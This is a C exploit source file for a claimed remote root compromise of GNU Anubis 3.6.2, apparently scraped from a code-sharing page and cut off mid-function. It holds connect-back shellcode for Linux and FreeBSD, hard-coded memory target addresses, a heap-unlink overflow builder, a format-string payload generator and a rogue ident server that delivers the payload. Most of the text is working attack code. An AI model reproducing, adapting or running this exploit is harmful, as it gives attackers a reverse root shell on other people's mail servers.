?? gnu anubis 3.6.2 remote buffer overflow root exploit.txt
字號:
/*
* anubisexp.c
*
* GNU Anubis 3.6.2 remote root exploit by CMN
*
* <cmn at darklab.org>, <cmn at 0xbadc0ded.org>
* Bug found by Ulf Harnhammar.
*
* 2004-03-10
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/param.h>
#include <sys/wait.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define DUMMY 0x41414141
#define BUFSIZE 512
#define AUTH_PORT 113
#define ANUBIS_PORT 24
#define IP_INDEX 5
#define PORT_INDEX 11
#define PREV_INUSE 0x1
#define IS_MMAP 0x2
#define NON_MAIN_ARENA 0x4
#define FMTSTR 0x1
#define OVERFLOW 0x2
#define JMPCODE "\xeb\x0c"
static int connect_target = 0;
static int start_auth = 0;
/* Connect back */
static char linux_code[] =
"\x31\xc0\x50\x50\x68\xc0\xa8\x01\x01\x66\x68\x30\x39\xb0\x02"
"\x66\x50\x89\xe6\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x31\xdb\x43"
"\x30\xe4\xb0\x66\xcd\x80\x89\xc5\x6a\x10\x56\x55\x89\xe1\xb3"
"\x03\xb0\x66\xcd\x80\x89\xeb\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
"\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x31\xd2\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0"
"\x0b\xcd\x80\x31\xc0\x40\xcd\x80";
/* Connect back */
static char freebsd_code[] =
"\x31\xc0\x50\x50\x68\xc0\xa8\x01\x01\x66\x68\x30\x39\xb4\x02"
"\x66\x50\x89\xe2\x66\x31\xc0\x50\x40\x50\x40\x50\x50\x30\xe4"
"\xb0\x61\xcd\x80\x89\xc7\x31\xc0\xb0\x10\x50\x52\x57\x50\xb0"
"\x62\xcd\x80\x50\x57\x50\xb0\x5a\xcd\x80\xb0\x01\x50\x57\x50"
"\x83\xc0\x59\xcd\x80\xb0\x02\x50\x57\x50\x83\xc0\x58\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x89\xe2\x50\x52\x53\x50\xb0\x3b\xcd\x80\x31\xc0\x40"
"\x50\x50\xcd\x80";
struct target {
char type;
char *desc;
char *code;
u_int bufaddr; /* static buf on line 266 in net.c, used by recv() */
u_int retloc;
u_int offset;
u_int written;
u_int pad;
};
struct target targets[] = {
/* .GOT free */
{ OVERFLOW, "Linux anubis-3.6.2-1.i386.rpm [glibc < 3.2.0] (overflow)",
linux_code, 0x08056520, 0x08056464, 305, 0x00, 0x00 },
/* .GOT strlen */
{ FMTSTR, "Linux anubis-3.6.2-1.i386.rpm (fmt, verbose)", linux_code,
0x08056520, 0x080563bc, 10*4, 32, 1 },
/* .dtors */
{ FMTSTR, "FreeBSD anubis-3.6.2_1.tgz (fmt)", freebsd_code,
0x805db80, 0x0805cc10+4, 12*4, 20, 1 },
/* .GOT getpwnam */
{ FMTSTR, "FreeBSD anubis-3.6.2_1.tgz (fmt, verbose)", freebsd_code,
0x805db80, 0x0805ce18, 15*4, 32, 1 },
{ -1, NULL, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }
};
int
sock_connect(u_long ip, u_short port)
{
struct sockaddr_in taddr;
int sock_fd;
memset(&taddr, 0x00, sizeof(struct sockaddr_in));
taddr.sin_addr.s_addr = ip;
taddr.sin_port = port;
taddr.sin_family = AF_INET;
if ( (sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("** socket()");
return(-1);
}
if (connect(sock_fd, (struct sockaddr *)&taddr,
sizeof(taddr)) < 0) {
perror("** connect()");
return(-1);
}
return(sock_fd);
}
long
net_inetaddr(u_char *host)
{
long haddr;
struct hostent *hent;
if ( (haddr = inet_addr(host)) < 0) {
if ( (hent = gethostbyname(host)) == NULL)
return(-1);
memcpy(&haddr, (hent->h_addr), 4);
}
return(haddr);
}
long
net_localip(void)
{
u_char lname[MAXHOSTNAMELEN +1];
struct in_addr addr;
memset(lname, 0x00, sizeof(lname));
if ( gethostname(lname, MAXHOSTNAMELEN) < 0)
return(-1);
addr.s_addr = net_inetaddr(lname);
return(addr.s_addr);
}
char *
unlinkchunk(u_int ret, u_int retloc, size_t words)
{
u_int *chunk;
size_t i=0;
if (words < 14) {
fprintf(stderr, "unlinkchunk(): Small buffer\n");
return(NULL);
}
if ( (chunk = calloc(words*sizeof(u_int)+1, 1)) == NULL) {
perror("calloc()");
return(NULL);
}
chunk[i++] = -4;
chunk[i++] = -4;
chunk[i++] = -4;
chunk[i++] = ret;
chunk[i++] = retloc-8;
chunk[i++] = -4;
chunk[i++] = -4;
chunk[i++] = -4;
chunk[i++] = ret;
chunk[i++] = retloc-8;
for (; i<words; i++) {
/* Relative negative offset to first chunk */
if (i % 2)
chunk[i] = ((-(i-8)*4) & ~(IS_MMAP|NON_MAIN_ARENA))|PREV_INUSE;
/* Relative negative offset to second chunk */
else
chunk[i] = ((-(i-3)*4) & ~(IS_MMAP|NON_MAIN_ARENA))|PREV_INUSE;
}
return((char *)chunk);
}
int
mkfmtstr(struct target *tgt, u_int ret,
char *buf, size_t buflen)
{
size_t pad;
size_t espoff;
size_t written;
int tmp;
int wb;
int i;
if (buflen < 50) {
fprintf(stderr, "mkfmtstr(): small buffer\n");
return(-1);
}
memset(buf, 'P', tgt->pad % 4);
buf += tgt->pad % 4;
written = tgt->written;
/* Add dummy/retloc pairs */
*(u_long *)buf = DUMMY;
*(u_long *)(buf +4) = tgt->retloc;
buf += 8;
*(u_long *)buf = DUMMY;
*(u_long *)(buf +4) = tgt->retloc+1;
buf += 8;
*(u_long *)buf = DUMMY;
*(u_long *)(buf +4) = tgt->retloc+2;
buf += 8;
*(u_long *)buf = DUMMY;
*(u_long *)(buf +4) = tgt->retloc+3;
buf += 8;
buflen -= 32;
written += 32;
/* Stackpop */
for (espoff = tgt->offset; espoff > 0; espoff -= 4) {
snprintf(buf, buflen, "%%08x");
buflen -= strlen("%08x");
buf += strlen("%08x");
written += 8;
}
/* Return address */
for (i=0; i<4; i++) {
wb = ((u_char *)&ret)[i] + 0x100;
written %= 0x100;
pad = (wb - written) % 0x100;
if (pad < 10)
pad += 0x100;
tmp = snprintf(buf, buflen,
"%%%du%%n", pad);
written += pad;
buflen -= tmp;
buf += tmp;
}
return(buflen >= 0 ? written : -1);
}
int
evil_auth(u_short port, char *ident, size_t identlen)
{
struct sockaddr_in client;
struct sockaddr_in laddr;
u_int addrlen = sizeof(struct sockaddr_in);
int lsock, csock;
char input[128];
if ( (lsock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("** socket()");
return(-1);
}
memset(&laddr, 0x00, sizeof(struct sockaddr_in));
laddr.sin_family = AF_INET;
laddr.sin_port = port;
laddr.sin_addr.s_addr = INADDR_ANY;
if (bind(lsock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
perror("** bind()");
return(-1);
}
if (listen(lsock, 1) < 0) {
perror("** listen()");
return(-1);
}
printf("[*] Awaiting auth connection\n");
if ( (csock = accept(lsock, (struct sockaddr *)&client,
&addrlen)) < 0) {
fprintf(stderr, "** Connection error\n");
return(-1);
}
if (getpeername(csock, (struct sockaddr *)&client, &addrlen) < 0)
perror("** getpeername()");
else
printf("[*] %s:%u connected to auth\n",
inet_ntoa(client.sin_addr), ntohs(client.sin_port));
if (read(csock, input, sizeof(input)) <= 0) {
perror("** write()");
return(1);
}
printf("[*] Sending evil ident\n");
if (write(csock, ident, identlen) != identlen) {
perror("** write()");
return(1);
}
if (close(csock) < 0 || close(lsock < 0)) {
perror("** close()");
return(1);
}
return(0);
}
void
signal_handler(int signo)
{
if (signo == SIGUSR1) {
start_auth++;
connect_target++;
}
else if (signo == SIGALRM) {
fprintf(stderr, "** Timed out while waiting for connect back\n");
kill(0, SIGTERM);
exit(EXIT_FAILURE);
}
}
int
get_connectback(pid_t conn, int lsock)
{
char inbuf[8192];
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -